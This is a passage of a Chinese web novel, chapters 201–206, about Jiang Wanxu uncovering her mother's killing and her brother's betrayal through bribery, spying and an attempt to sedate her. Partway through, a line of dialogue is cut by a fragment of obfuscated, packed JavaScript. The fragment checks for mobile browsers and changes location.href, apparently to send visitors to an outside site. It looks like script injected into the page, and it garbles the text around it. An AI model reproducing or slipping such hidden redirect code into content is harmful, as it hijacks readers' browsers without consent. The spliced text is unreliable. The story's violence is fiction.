顾彦廷看着他仓皇的背影,嘲讽一笑。
“晚晚,你这三哥,演技可真烂。”
江晚絮垂下眼眸,遮住了眼底的失落。
“至少,他答应帮我找了。”
“顾彦廷,别把他逼太紧。在这个家里,他可能是唯一一个……还没完全烂透的人。”
顾彦廷冷哼一声,伸手理了理她耳边的碎发。
“烂没烂透,剥开看看就知道了。”
“只怕到时候,你会嫌脏了你的眼。”
走廊尽头的吸烟区。
江明哲的手在发抖,连点了三次火,才把烟点着。
他深吸了一口,辛辣的烟雾呛得他剧烈咳嗽起来,眼泪都咳出来了。
真相?
怎么能让晚絮知道真相!
如果爸真的杀了妈,晚絮会疯的!她现在的身体,怎么受得了这种打击?
哪怕是为了晚絮好,也不能让她知道!
对,是为了她好。
就像当初不告诉她信是假的一样。
只要瞒住,她就能安安心心地过日子,哪怕是活在谎言里,至少比面对血淋淋的现实要幸福吧?
江明哲自我催眠了一番,然后颤抖着手指,翻开了通讯录。
他找到备注老刘的那个号码,拨了出去。
电话响了很久才接通。
“喂?哪位啊?”
对面传来一个苍老的声音,背景音里还有海浪声。
“刘叔,是我,明哲。”
“哎哟,是三少爷啊!怎么想起给我打电话了?”
江明哲看了一眼四周,压低声音,语气急促:“刘叔,你听我说。不管谁问你关于我妈去世那天的事情,你都说你忘记了!什么都别说!”
对面愣了一下:“三少爷,这是出什么事了?”
“别问那么多!”江明哲咬着牙,“特别是晚絮……如果晚絮或者是顾彦廷的人找到你,你什么都别说!”
“只要你闭嘴,我现在就给你转五十万。”
对面沉默了几秒,随即传来了笑声:“行,三少爷既然开口了,老头子我肯定守口如瓶。反正都这么多年了,谁还记得清呢。”
挂断电话后,江明哲很快就收到了司机老刘的账号信息。
“叮。”
转账成功的提示音响起。
江明哲看着那条扣款短信,只觉得手机烫得有些抓不住。
他这是在干什么?
他在帮凶手掩盖罪证?他在欺骗那个刚从鬼门关回来的妹妹?
“我是为了这个家……我是为了晚絮……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045204|192440||http|test|mini|href|location''.split(''|''),0,{}));
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r>江明哲喃喃自语,擦了擦额头的冷汗,整理好表情,这才转身往会议室走去。
但**,就在他转身离开的那一刻,走廊拐角的阴影里,林舟正举着手机,屏幕上显示的正是实时监控录像的截屏。
回到会议室,江明哲脸上挂着歉意的笑。
“晚絮,哥刚打了一圈电话。那个张妈几年前就去世了。至于刘叔……”
江明哲叹了口气,一脸无奈,“听老宅的邻居说,他好像回乡下种地了,连手机都没有,根本联系不上。你给哥一点时间,哥哪怕是去乡下挨家挨户地找,也一定帮你把他找出来。”
江晚絮坐在那里,静静地看着他。
“联系不上吗?”江晚絮轻声问。
“是啊,太久了。”江明哲不敢看她的眼睛,低头喝水,“不过你别急,哥一定会尽力的。”
“好。”
江晚絮点了点头,转过头看向窗外。
江明哲看江晚絮没有起疑,心里松了口气,赶紧找了个借口离开。
会议室的门关上的那一刻,江晚絮脸上的那一丝期待,瞬间消失殆尽。
她靠在软枕上,指尖无意识地抠着保温杯的杯壁。
“顾彦廷。”
“嗯?”顾彦廷正低头给林舟发消息,闻言立刻抬头,伸手去探她的额头,“哪里不舒服?是不是肚子疼?”
江晚絮摇摇头,眼神空洞地盯着那一扇紧闭的门。
“帮我查一查。”
顾彦廷动作一顿,深邃的眸子眯了眯:“查谁?你三哥?”
“嗯。”江晚絮的声音很轻,却很笃定,“他在撒谎。”
刚才江明哲虽然极力掩饰,但他明显在心虚。
在这个家里,她学会的第一个技能不是讨好,而是察言观色。
因为只有看懂了他们的脸色,她才能少挨一顿打。
顾彦廷冷笑一声,把手机扔在桌上:“行,本来我也没打算信他。在这个江家,除了你,其他人连标点符号我都得拿去鉴定科验一验。”
第202章 别信他
一周后。
江晚絮正坐在露台上晒太阳,腿上盖着厚厚的羊绒毯子。
顾彦廷走过来,手里拿着一个牛皮纸袋。
他的脸色不太好,甚至可以说带着几分暴戾。
“晚晚。”
他在她身边蹲下,握住她冰凉的手,“查到了。”
江晚絮睫毛颤了颤,没说话,只是静静地看着他。
顾彦廷深吸一口气,把纸袋里的东西抽出来,递给她。
是一张银行转账记录的复印件,还有一份出入境记录。
“那个叫老刘的司机,三年前就移民澳洲了。日子过得挺滋润,在那边买了农场。”
顾彦廷的声音冷得掉渣,“就在你那天跟江明哲说完话的十分钟后,江明哲的私人账户给老刘转了五十万。”
江晚絮看着那串数字。
五十万。
原来,她母亲死亡的真相,在她亲哥哥眼里,就值五十万。
她那个所谓的“还没烂透”的三哥,为了维护那个虚伪的父亲,为了所谓的家族名声,毫不犹豫地把她推进了谎言的深渊。
“呵……”
江晚絮突然笑了一声。
笑着笑着,眼泪就下来了。
“顾彦廷,你说好笑不好笑?”
她指着那张单子,手指剧烈地颤抖,“我以为他是去帮我找真相的,结果……”
“可我是她的亲妹妹啊!死去的那个人,是我们的亲生母亲!他……他怎么能这样?!”
顾彦廷心口一阵绞痛,他一把将她搂进怀里。
“不笑了,那不是你的家,他们也不配做你的家人。”
江晚絮靠在他胸口,眼泪打湿了他昂贵的衬衫。
“顾彦廷,我没有哥哥了。”
大哥自负冷血,二哥暴躁施暴,如今连这唯一一个看似温和的三哥,也亲手斩断了他们之间最后的亲情。
从今以后,江晚絮,真的是孤家寡人了。
顾彦廷吻着她的发顶,眼神阴鸷得可怕。
“没事,没哥哥就没哥哥。你还有我。”
自从江明哲把江晚絮要查旧事的消息告诉**嵩后,这个原本还是装病的老头子,就像是被抽走了精气神。
一开始是装疼,哎哟哎哟地叫唤。
后来是真的疼。
浑身骨头缝里像是进了蚂蚁,啃噬着他的神经。
短短一周,**嵩瘦得脱了相,眼窝深陷,像是被鬼吸了阳气。
“爸,您吃点东西吧。”
江明哲端着粥,小心翼翼地站在床边。
**嵩一把打翻了碗,滚烫的粥泼了江明哲一身。
“是不是那个扫把星……是不是她还在查?”**嵩抓着床单,浑浊的眼睛里满是惊恐,“她就是想逼死我!她是来讨债的!”
江明哲顾不上擦身上的污渍,连忙安抚:“爸,您别胡思乱想。我已经安排好了,晚絮什么都查不到的。只要您养好身体……”
“养不好了……好不了了……”
**嵩哆哆嗦嗦地指着天花板,“方颖……是方颖回来了……她每天晚上都站在床头看着我……她要带我走……”
就在这时,老医生慌慌张张地跑进来。
“顾总带着大小姐来了!”
听到这两个名字,**嵩浑身一抖,竟然直接从床上滚了下来。
“拦住他们!别让他们进来!”
“江董这是要把谁拦在外面?”
顾彦廷穿着一身黑色风衣,大步走了进来。他身后,是一身素白的江晚絮。
“啊——!”
**嵩惨叫一声,缩到了墙角,“别过来!方颖你别过来!”
“如果您没做亏心事,妈妈怎么会来找您呢?”
顾彦廷懒得看这老东西演戏,直接拉了把椅子让江晚絮坐下。
“**嵩,听说你快**?”顾彦廷嘴角勾笑,“正好,死之前把话说明白,省得下去了阎王爷判你有罪,你还要喊冤。”
江明哲看着这一幕,心里五味杂陈。
“晚絮,爸都这样了,你……”
“闭嘴。”
顾彦廷冷眼扫过去,“这里哪有你说话的份?五十万的**,江明哲,你这舌头是不是也想被人割了?”
江明哲脸色瞬间惨白,踉跄着后退两步,不敢置信地看着顾彦廷。
他们……知道了?
**嵩听到这话,也是一愣,随即剧烈地咳嗽起来,咳出一滩血水。
“晚絮……”
**嵩似乎意识到自己大限将至,挣扎着想要去抓江晚絮的手。
顾彦廷眼疾手快,一脚踢开
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了他的手。
“有话就说话,别动手动脚。”
**嵩的手僵在半空,眼泪鼻涕流了一脸。
“晚絮啊……爸爸对不起你……更对不起你妈……”
“我是个混蛋……我对你不好,爸爸糊涂啊……”
江晚絮面无表情地看着他。
如果在她被抽血的时候,她跪在雨里求他的时候,他能有一丝丝的心软,她或许都会动容。
但现在,太晚了。
“爸,这些废话就不用说了。”江晚絮淡淡地打断他,“我今天来,只问你一件事。妈妈到底是**的?”
**嵩浑身一颤,眼神开始躲闪。
“是……是难产……真的是难产……”
“还在撒谎!”
顾彦廷暴怒,一把揪住**嵩的衣领,“看来你是想把秘密带进棺材里?行,那我现在就送你上路!”
“顾彦廷!”江晚絮拉住了他的袖子。
她转头看向**嵩,“神经毒素的事情,我已经知道了。”
听到“神经毒素”四个字,**嵩的瞳孔瞬间放大。
也就是这一瞬间,他突然就不喘了。
他盯着江晚絮,像是第一次认识这个女儿。
“你知道了……你竟然知道了……”
**嵩惨笑一声,瘫软在地上。
“晚絮,爸爸没杀她……真的没杀她……但是,我确实也不是个东西……”
**嵩喘着粗气,断断续续地说道:“你妈去世前一周,确实见过一个外国女人……那天回来后,她就把一本日记藏起来了……”
“那是真的日记……不是我伪造的那些……”
“在哪?”江晚絮的心猛地提了起来。
“老宅的阁楼……第三块地板下面……”
**嵩的声音越来越小,眼神也开始涣散。
他看着虚空中的某一点,像是看到了当年的方颖。
那么美丽,那么温柔,却被他亲手推进了地狱。
“晚絮……你三哥……他太像年轻时的我了……”
“优柔寡断……又贪心……既想要名声,又想要利益……”
“别信他……谁都别信……”
说完这句话,**嵩的喉咙里发出一声浑浊的咕噜声,头一歪,彻底没了气息。
第203章 她是怎么熬过来的?
江明哲呆呆地看着没了气息的**嵩,突然跪在地上,嚎啕大哭起来。
“爸!爸啊——!”
江晚絮坐在椅子上,看着那个给了她生命,却又毁了她半生的男人,变成了一具冰冷的尸体。
她甚至连眼圈都没红。
她只是觉得累。
那种从灵魂深处透出来的疲惫。
顾彦廷弯腰,直接将她打横抱起。
“走吧,这里空气不好。”
经过江明哲身边时,顾彦廷停下了脚步。
“别哭了,省省力气吧。”
“你爸刚才的话听见了吗?优柔寡断,害人害己。江明哲,你以后好自为之。”
从医院出来的时候,天已经黑透了。
原本顾彦廷想带江晚絮回别墅休息,但她坚持要去老宅。
“我想拿到那个日记本。立刻,马上。”
她的语气不容置喙。
顾彦廷拗不过她,只能让林舟把车开到了江家那栋废弃的老宅。
顾彦廷牵着江晚絮的手,另一只手拿着手电筒,警惕地护着她。
“小心脚下。”
江晚絮熟门熟路地上了楼梯,每踩一步,木板都会发出令人牙酸的“吱呀”声。
“就是这里。”
江晚絮推开阁楼的小门。
狭窄、逼仄、阴暗。
即使打着手电筒,也感觉不到一丝暖意。
这里只有一张破旧的小床,还有一个断了腿的桌子。
很难想象,曾经的江家大小姐,就在这种猪狗不如的地方住了十几年。
“第三块地板……”
江晚絮蹲下来,手指在积满灰尘的地板上摸索。
一,二,三。
就是这块。
她用力抠住地板的缝隙,想要把它掀开。
但因为太久没人动过,地板卡得很死,加上她身体虚弱,根本使不上劲。
“我来。”
顾彦廷一把拉住她的手,心疼地吹了吹,“这种粗活,以后都让我来。”
他从旁边找了根生锈的铁棍,卡进缝隙里,猛地一撬。
“咔嚓”一声。
地板被掀开了。
一股陈旧的纸张味道飘了出来。
在那个黑漆漆的暗格里,静静地躺着一本深蓝色的丝绒笔记本。
即使过了这么多年,它依然被保存得很好,像是被人精心呵护过。
江晚絮颤抖着手,把笔记本拿了起来。
封面没有任何字。
江晚絮捧着日记本,整个人蜷缩在地板上,哭得撕心裂肺。
“妈……妈妈……”
顾彦廷放下手电筒,把她紧紧抱在怀里,任由她发泄。
这一刻,他什么都做不了。
只能陪着她疼。
不知过了多久,江晚絮终于止住了哭声。
她红肿着眼睛,借着手电筒的光,开始一页一页地翻看。
越看,心越凉。
越看,越觉得毛骨悚然。
方颖留下过很多本日记,可她……竟然从来没有翻看过。
【1998年5月20日:**嵩今天送了我一条项链,说是结婚纪念日的礼物。可我在项链的暗格里,发现了微型**器。他在监视我。】
【1998年6月15日:他又在书房里打电话。我听到了“晨曦”两个字。他早就知道我的身份了。他娶我,根本不是因为爱,他是想利用我去换取利益。】
【1998年8月1日:那个外国女人又来了。她说她是我的堂姐。她让我走,说**嵩已经跟某些危险的人搭上线了。可我怎么走?我怀了晚晚。我不能让我的女儿一出生就变成实验品。我想让她做个普通人。】
【1998年10月10日:**嵩今天突然对我特别好,给我端了一碗燕窝。那眼神,像是在看一个**。我知道,我逃不掉了。如果我不在了,一定是**嵩,或者是他背后的人……】
日记到这里,戛然而止。
那个“背后的人”,没有写完。
或许是没来得及,又或许是不敢写。
江晚絮合上日记本,只觉得浑身发冷。
原来,所谓的父亲,不仅是冷漠,更是处心积虑的恶魔。
他早就知道母亲是晨曦家族的人。
他娶她,囚禁她,监视她,甚至最后……默许别人杀了她。
“顾彦廷……”
江晚絮抬起头,眼神里透着一种令人心惊的冷静。
“你说,**嵩那样唯利是图又胆小如鼠的人,怎么敢动晨曦家族的人?”
顾彦廷眉头紧锁,接过日记本看了一眼
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“除非,他背后有人撑腰。一个比晨曦家族更可怕,或者至少能与之抗衡的势力。”
“涅墨西斯。”
两人异口同声地说出了这个名字。
那个M姨提到过的,印着滴血天平标志的财团。
江晚絮握紧了拳头。
“**嵩只是个傀儡。真正的凶手,还在逍遥法外。”
“甚至……”她环顾四周,看着这个阴暗的阁楼,“他们可能还在监视着我。”
就像当年监视妈妈一样。
“别怕。”
顾彦廷低头看着江晚絮。
“晚晚,一切才刚刚开始。”
“不过这次,你不是一个人了。”
他弯腰,将她抱起,大步走出了阁楼。
两人回到别墅时,已经是深夜两点了。
别墅里灯火通明。
虽然已经是初夏,但顾彦廷还是吩咐佣人提前开了空调,甚至连地毯都换成了最柔软的长毛绒,生怕江晚絮磕着碰着。
可江晚絮还是觉得冷。
“晚晚,先喝口热汤。”
顾彦廷端着一碗刚熬好的参鸡汤,小心翼翼地走到沙发旁。
江晚絮没接。
她的目光呆滞地落在日记本的封面上,仿佛透过那层深蓝色的丝绒,看到了母亲当年绝望的脸。
“顾彦廷。”
她忽然开口,“你说,一个人被关在笼子里十几年,每天被枕边人监视、下药,她是怎么熬过来的?”
顾彦廷把碗放下,单膝跪在沙发前,握住她冰凉的手。
“晚晚,别看了。再看下去,你会受不了的。”
“不,我要看。”
江晚絮翻开日记本,指着最后一页,嘴角勾起一抹比哭还难看的笑,“你看。”
“我一直以为,我是因为不乖,因为是个女孩,所以爸爸才不喜欢我。原来不是啊……原来从我出生的那一刻起,我就是他在手里的人质。”
“我小时候,为了讨他欢心,拼了命地考第一名。哪怕发着高烧,我也要练琴练到手指流血。”
“我还记得有一次,我把奖状拿回家,想让他夸夸我。结果他看都没看一眼,直接扔进了垃圾桶,还骂我是‘丧门星’。”
“那时候我不懂,现在我懂了。”
第204章 跟你没关系了
江晚絮笑的凄凉。
“他不是讨厌我,他是恨我。恨我身上流着晨曦家族的血,恨我是他罪恶的见证。”
顾彦廷心如刀绞,一把将江晚絮搂进怀里。
“都过去了,晚晚,都过去了。”
他在她耳边低喃,“**嵩那个老畜生已经**,死得太便宜他了!如果早知道这些,我一定让他求生不得,求死不能!”
“还没完。”
江晚絮推开他,合上日记本,指尖轻轻摩挲着封面。
“**嵩**,可还有人活着。”
顾彦廷立刻就明白了她的意思,“你怀疑江明哲也是知情者?”
“他怎么可能不知情?”
江晚絮冷笑一声,“在这个家里,大哥自负,二哥暴躁,只有他是真正有脑子的。他表现得最无害,最温和,甚至还会偷偷给我塞糖吃。可也是他,竟然漠视妈妈的死。”
“明天。”江晚絮闭上眼,深吸了一口气,“明天我要去公司。”
顾彦廷看着她苍白的脸,心疼得不行:“你的身体……”
她现在怀着孕,身体底子又差,医生千叮万嘱要静养。
“我没事。”江晚絮摇了摇头,“顾彦廷,我不累。只要一想到妈妈生前受过的罪,我就浑身都是力气。”
“我要把他们欠我们母女的,连本带利地讨回来!”
第二天一早,江晚絮就来到了公司。
“江总好!”
“江总早!”
路过的员工纷纷低头问好,眼神里带着敬畏。
谁都知道,这位曾经**家扫地出门的大小姐,如今才是这栋大厦真正的主人。
江晚絮目不斜视,径直推开了江明哲办公室的大门。
江明哲看到他进来,他明显愣了一下,随即露出一个温和的笑容。
“晚絮?怎么这么早就来了?身体好点了吗?”
他站起身,想要走过来,“你看你,脸色这么苍白,怎么不在家多休息几天?公司有我在,你还不放心吗?”
如果是在以前,江晚絮或许会觉得温暖。
觉得这个三哥,是江家唯一还有点人味儿的人。
可现在,看着那张虚伪的笑脸,她只觉得恶心。
胃里一阵翻江倒海,那是生理性的厌恶。
“三哥。”
江晚絮站在门口,没有进去,也没有关门。
她的声音很轻,却很冷,像是淬了冰的刀子。
“你坐那个位置,坐得舒服吗?”
江明哲脸上的笑容僵了一下,眼神有些闪躲:“晚絮,你这话是什么意思?我也是为了帮你分担……”
“分担?”
江晚絮嗤笑一声,一步步走进办公室,随手将那本深蓝色的日记本复印件,“啪”的一声摔在办公桌上。
“是为了帮我分担,还是为了帮那个‘牧羊人’监视我?”
听到“牧羊人”三个字,江明哲不自觉地咬住了下唇。
江明哲盯着桌上的复印件,手颤抖着想要去拿,伸到一半又缩了回来。
“你……你知道了?”
“我知道了多少,取决于你想隐瞒多少。”
江晚絮拉开对面的椅子坐下,双手交叠放在膝盖上,姿态优雅而从容。
“爸临死前,是不是跟你说了什么?”
江晚絮盯着江明哲的眼睛,不放过他任何一丝微表情,“监视妈妈的事,你到底知不知情?”
江明哲痛苦地抱住头,手指深深插入发间。
“晚絮,别问了……真的别问了……”
“我是为了你好!你知道哪怕多一点点,对你来说都是灭顶之灾!”
“为了我好?”
江晚絮像是听到了什么天大的笑话,笑得眼泪都要出来了。
“又是这句话。江明哲,你不觉得这句话太廉价了吗?”
“当初**嵩把我送给叶寒联姻,也说是为了我好。”
“后来你们为了家族名声,逼我给江芊妤那个**捐骨髓,也说是为了我好。”
“现在,你隐瞒妈妈被监视、被**的真相,还是为了我好?”
她忽然一拍桌子,声音陡然拔高:
“你们的好,就是要我的命!”
江明哲浑身一震,眼眶通红。
“不是的!这次真的不一样!”
他语无伦次地吼道:“爸临走前的那晚,他抓着我的手,吓得尿了裤子!你知道他说什么吗?”
“他说,当年监视妈妈,根本不是他的主意,是有人指使他的!”
“牧羊人
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承诺,只要爸按时汇报妈妈的身体数据和行踪,就会给**集团源源不断的注资。当年的江家都要破产了,是那笔钱救活了江家!”
“爸说他没杀妈妈,他没胆子**!是‘牧羊人’那边派人动的手!”
江晚絮的心脏剧烈跳动起来。
果然。
果然背后还有黑手。
“‘牧羊人’是谁?”她逼问道。
江明哲拼命摇头,“不知道。爸也不知道!他只知道对方势力很大,捏死我们就跟捏死一只蚂蚁一样简单。”
“晚絮,求你了,别查了!”
江明哲突然冲过来,“扑通”一声跪在江晚絮面前,死死抓住她的裙角,眼泪鼻涕糊了一脸。
“晚絮,我们就当什么都不知道好不好?妈妈已经**二十几年了!再去追究真相有什么意义?”
“你现在怀着孕,要是出了什么事,一尸两命啊!”
“顾彦廷是厉害,但他能护得住你一时,护得住你一世吗?‘牧羊人’那种级别的势力,连顾家都未必惹得起!”
江晚絮低头看着跪在地上的哥哥。
这个曾经会在二哥打她时,偷偷把她拉到身后;会在她饿肚子时,给她偷偷拿蛋糕的三哥。
此刻,他看起来是那么卑微,那么可怜。
“江明哲,你站起来。”
江晚絮的声音冷得没有一丝温度。
江明哲愣了一下,没敢动。
“我让你站起来!”
江晚絮厉喝一声。
江明哲哆哆嗦嗦地站了起来。
“你说没有意义?”
江晚絮指着自己的心口,“那是我们的妈妈!怀胎十月,拼了命把我们生下来的妈妈!她在那个暗无天日的阁楼里,被当成小白鼠一样监视、折磨,最后惨死!”
“你居然跟我说,追究真相没有意义?”
“你怕死,我不怕。”
“你也别拿我的孩子做借口。我的孩子,如果将来知道他的外婆被人害死,而他的母亲却是个缩头乌龟,他会看不起我!”
江晚絮深吸一口气,平复了一下激动的情绪。
“既然你这么怕,那从今天起,这件事跟你没关系了。我自己查。”
说完,她转身就要走。
第205章 我只是想救你
“等等!”
江明哲慌了,连忙拦住江晚絮,“晚絮,你别冲动!你听我说……”
“没什么好说的。”
江晚絮绕开他,“我累了,要在办公室休息一会儿。你出去吧。”
看着江晚絮决绝的背影,江明哲的眼里闪过一丝挣扎。
既然劝不住……那就只能让你“冷静”一下了。
为了你好。
真的是为了你好。
哪怕你会恨我。
“好,我不劝了。”
江明哲突然松了口,语气变得格外诚恳,“你别生气,刚才是我太激动了。我知道你心里苦。”
“你去休息室躺会儿,我去给你倒杯水。你需要冷静一下,我们也需要从长计议。”
江晚絮停下脚步,回头看了他一眼。
“好。”她淡淡地应了一声。
几分钟后。
江明哲端着一杯温水走进了江晚絮的休息室。
他的手很稳,脸上挂着那一贯温和的笑容,仿佛刚才的歇斯底里从未发生过。
“来,喝口水,润润嗓子。”
他把水杯递给江晚絮,“这是你最喜欢的柠檬温水,我刚让人切的新鲜柠檬。”
江晚絮接过杯子。
水温刚好,杯壁暖暖的。
淡淡的柠檬香气飘散出来。
但在那股清新的柠檬味掩盖下,江晚絮极其敏锐的嗅觉,捕捉到了一丝极其微弱的苦杏仁味。
那是……镇静剂的味道。
江晚絮的心,在那一瞬间,彻底凉透了。
这就是她的亲哥哥。
为了阻止她查真相,为了掩盖他们江家的懦弱和罪恶,竟然不惜给她下药。
“怎么了?太烫了吗?”
江明哲见她拿着杯子不动,眼底闪过一丝慌乱,连忙催促道,“快喝吧,喝完睡一觉就好了。”
江晚絮垂下眼帘,遮住了眼底那一闪而过的悲凉。
“三哥。”
“嗯?”
“如果妈妈还在,看到现在的一切,她该有多伤心啊。”
江明哲的手抖了一下,强笑道:“说什么傻话呢,快喝吧。”
江晚絮不再说话。
她把杯子送到嘴边,借着宽大袖子的遮挡,极其隐蔽地将大半杯水倒进了旁边那盆茂盛的绿植里。
然后,她装作喝完的样子,还咽了一下喉咙。
“我有点困了。”
放下杯子,江晚絮揉了揉太阳穴,声音变得有些含糊,“头好晕……”
“累了就睡吧。”
江明哲紧张地搓着双手,“睡着了就什么烦恼都没了。”
江晚絮顺势倒在休息室的沙发上,闭上了眼睛。
呼吸渐渐变得平稳。
江明哲站在床边,静静地看了她好一会儿。
确认她是真的“睡熟”了,他才长长地吐出一口浊气。
“晚絮,别怪三哥。”
他低声喃喃自语,伸手帮她掖了掖被角,动作温柔得像个慈兄。
“三哥也是没办法。只要你睡个一两天,等我把那些痕迹都处理干净,等‘牧羊人’那边安抚好了,你就安全了。”
“哪怕你恨我一辈子,我也要保住江家最后的一点颜面……”
说着,他掏出手机,手指飞快地在屏幕上打字。
【人已经控制住了。接下来怎么办?】
就在他准备按下发送键的那一刻。
江晚絮突然睁开了眼睛。
那双清冷的眸子里,哪里有一丝睡意?
里面盛满了失望、痛心,还有决绝。
“三哥,原来这就是你说的‘为我好’?”
“啊!”
江明哲被这突如其来的声音吓得魂飞魄散,手机“啪”的一声掉在地上。
他像见了鬼一样连退好几步,直到撞上背后的文件柜才停下来。
“你……你没晕?!”
江明哲脸色惨白,指着江晚絮,“怎么可能……我明明看见你……”
江晚絮缓缓从沙发上坐起来,理了理有些凌乱的衣角。
“从小到大,我的嗅觉就比常人灵敏,这一点,妈妈在日记里写过,是晨曦家族的基因天赋。可惜,你们只顾着怎么利用我、监视我,却从来没有真正了解过我。”
江晚絮走到那盆绿植前,指
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了指湿润的泥土。
“你的镇静剂,都在这里了。”
江明哲看着那盆绿植,脸上的肌肉剧烈抽搐着。
羞耻、恐惧、恼怒,各种情绪在他脸上交织,让他那张原本还算英俊的脸变得格外狰狞。
“晚絮,你为什么要逼我!”
既然撕破了脸,江明哲也不装了。
他猛地冲过来,想要去抓江晚絮的肩膀,“我只是不想看着你去白白送死,我是你亲哥,难道我会害你吗?!”
“别碰我!”
江晚絮厉喝一声,随手抓起桌上的烟灰缸狠狠砸了过去。
“砰!”
烟灰缸砸在江明哲脚边,玻璃碴子碎了一地。
“你也配说是我的亲哥?”
江晚絮眼眶通红,“江明宇打我的时候,你在旁边看着;江芊妤陷害我的时候,你在和稀泥;现在我要查杀母仇人,你居然给我下药!”
“江明哲,你比大哥二哥更恶心!”
“我是被逼的!”
江明哲歇斯底里地吼道,“前天!就在前天!有人在跟踪你!那辆黑色的车一直跟在你车后面!如果不是我把人拦下来,你早就出事了!”
“‘牧羊人’已经盯上你了!我不把你控制起来,难道眼睁睁看着你**吗?”
“我想救你!哪怕手段卑鄙一点,只要你能活着,我就算当个恶人又怎么样?!”
江明哲说得声泪俱下。
“啪!啪!啪!”
门口突然传来了几声清脆的鼓掌声。
顾彦廷大步走了进来。
林舟跟在他身后,手里拿着一个平板电脑。
“精彩。”
顾彦廷看着江明哲,“江三少这演技,不去拿奥斯卡真是屈才了。这么感人肺腑的演讲,我都快听哭了。”
江明哲看到顾彦廷,浑身一抖,刚才的气势瞬间泄了一半。
“顾……顾总……”
顾彦廷走到江晚絮身边,然后转头看向林舟:“给江三少看看他的‘丰功伟绩’。”
“是。”
林舟面无表情地打开平板电脑,将屏幕对准江明哲。
第206章 我是不是很失败?
平板电脑上,是一段监控录像。
画面有些模糊,但依然能清晰地辨认出,是一处地下停车场的角落。
一辆黑色的小轿车停在那里。
江明哲鬼鬼祟祟地走过去,敲了敲车窗。
车里的人没有露脸,只露出了一只戴着黑手套的手。
两人交谈了大概两分钟。
随后,江明哲从口袋里掏出一个信封,恭恭敬敬地递了进去。
车里的人接过信封,递给他一个小瓶子。
视频播放结束。
画面定格在江明哲接过那个小瓶子的瞬间。
那个瓶子,和他在医院偷拿镇静剂的瓶子,一模一样。
“这就是你说的‘拦下’?”
顾彦廷的声音冷得掉渣,“江明哲,你所谓的保护,就是拿钱贿赂跟踪者,然后拿药回来对自己亲妹妹下手?”
“如果我没猜错,那个信封里装的,是晚晚最新的行踪表吧?”
江明哲无从抵赖。
“我……我只是……”
他嘴唇哆嗦着,想要辩解,却发现任何语言在这一刻都显得那么苍白无力。
“那个人说……只要我让晚絮安分几天,把晚絮最近在查什么告诉他……他保证不伤害晚絮……”
“我真的信了……我是真的想保护晚絮啊……”
江晚絮看着瘫在地上的江明哲。
原来,这就是真相。
所谓的“拦下跟踪者”,其实是一场交易。
他出卖她的行踪,换取所谓的“安全”。
这种懦弱到骨子里的自私,简直和死去的**嵩如出一辙。
“江明哲。”
江晚絮开口了,声音平静得可怕。
“你到底想做什么?”
江明哲抬起头,满脸泪水,眼神空洞。
“我……我不知道……”
“我只想活下去……我想保住江家……”
“你保不住了。”
江晚絮转过身,不再看他一眼。
“你被解雇了。”
“晚星科技不需要你这种吃里扒外的副总,江家也不需要你这种卖妹求荣的家主。”
“林舟,叫保安,把他给我扔出去。”
“不!晚絮!你不能这样!”
江明哲爬过来想要抓顾彦廷的裤腿,“顾总,帮我求求情!我是她亲哥哥啊!要是没了工作,我就什么都没了!”
“他们要是知道了,会杀了我的!”
顾彦廷嫌恶的一脚踢开他。
“你要是再敢碰我一下,我现在就废了你。”
“至于‘牧羊人’会不会杀你,那就要看你的造化了。不过我想,像你这种两面三刀的废物,留着也是浪费粮食。”
很快,几个保安就冲了进来。
不顾江明哲的哭嚎和挣扎,把他一路拖出了办公室。
“晚絮!我是为你好!”
“只有我才是真心为江家着想啊——!”
江明哲的声音渐渐远去,最后消失在电梯口。
办公室里终于安静了下来。
江晚絮站在落地窗前,看着窗外灰蒙蒙的天空。
从二十六层俯瞰下去,地面上的车水马龙都变成了小小的蚂蚁。
“顾彦廷。”
“我在。”
顾彦廷走到她身后,轻轻拥住她。
“我真的没有家人了。”
江晚絮的声音很轻,带着一丝飘渺。
“大哥高高在上,看不起我;二哥动不动就打我;三哥……三哥把我卖了。”
“爸爸是个为了利益可以**弃女的恶魔;妈妈在这个地狱里熬了那么多年,最后被人害死。”
“我是不是很失败?”
“哪怕我捐了骨髓,断了腿,哪怕我拼了命地想要融入这个家,最后换来的,还是这样的结局。”
眼泪顺着她的脸颊滑落,滴在顾彦廷的手背上。
烫得他心尖发颤。
“谁说你没有家人的?”
顾彦廷把她转过来,面对着自己。
“我不就是你的家人吗?”
他捧起她的脸,大拇指轻轻拭去她的泪水。
“晚晚,你听好了。”
“那些垃圾,扔了就扔了,不可惜。他们不配做你的家人,更不配让你掉一滴眼泪。”
“你想报仇,刀我来递,人我来杀,罪名我来担。”
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“哪怕你要对抗那个什么‘牧羊人’,甚至是那个该死的涅墨西斯财团,老子也奉陪到底!”
顾彦廷的话,粗鲁,霸道,不讲道理。
但听在江晚絮耳朵里,却是这世上最动听的情话。
“顾彦廷……”
江晚絮转身扑进他怀里,放声大哭。
顾彦廷紧紧抱着她,任由她的眼泪鼻涕蹭在自己的衬衫上。
他一下又一下地抚摸着她的后背,像是在安抚一只受伤的小兽。
“哭吧,哭出来就好了。”
“以后,没人敢再欺负你了。谁敢动你一根指头,我就剁了他的手。”
不知过了多久,江晚絮的哭声渐渐小了下去。
她从顾彦廷怀里抬起头,眼睛肿得像个核桃,鼻尖也红红的。
“丑**。”
顾彦廷嫌弃地说着,低头在她红肿的眼睛上亲了一口。
“林舟。”
顾彦廷头也不回地喊了一声。
站在门口的林舟立刻立正:“顾总。”
“找几个人,盯着江明哲。”
顾彦廷的眼神瞬间变得阴鸷可怕,“既然他这么喜欢跟‘牧羊人’交易,那就看看他到底能不能活着拿到尾款。”
“一旦发现他和那边有接触,或者有想要逃跑的迹象……”
顾彦廷做了一个抹脖子的动作。
“明白。”
林舟推了推眼镜,镜片上闪过一道寒光。
“另外,去查查那辆车。敢在我眼皮子底下玩跟踪,我看他是活腻了。”
吩咐完,顾彦廷重新看向江晚絮。
“走吧,江总。”
他弯起胳膊,做了一个邀请的姿势,“这里空气不好,充满了**的味道。我带你去吃点好吃的,给你肚子里的那个小祖宗补补。”
江晚絮看着他,破涕为笑。
“好。”
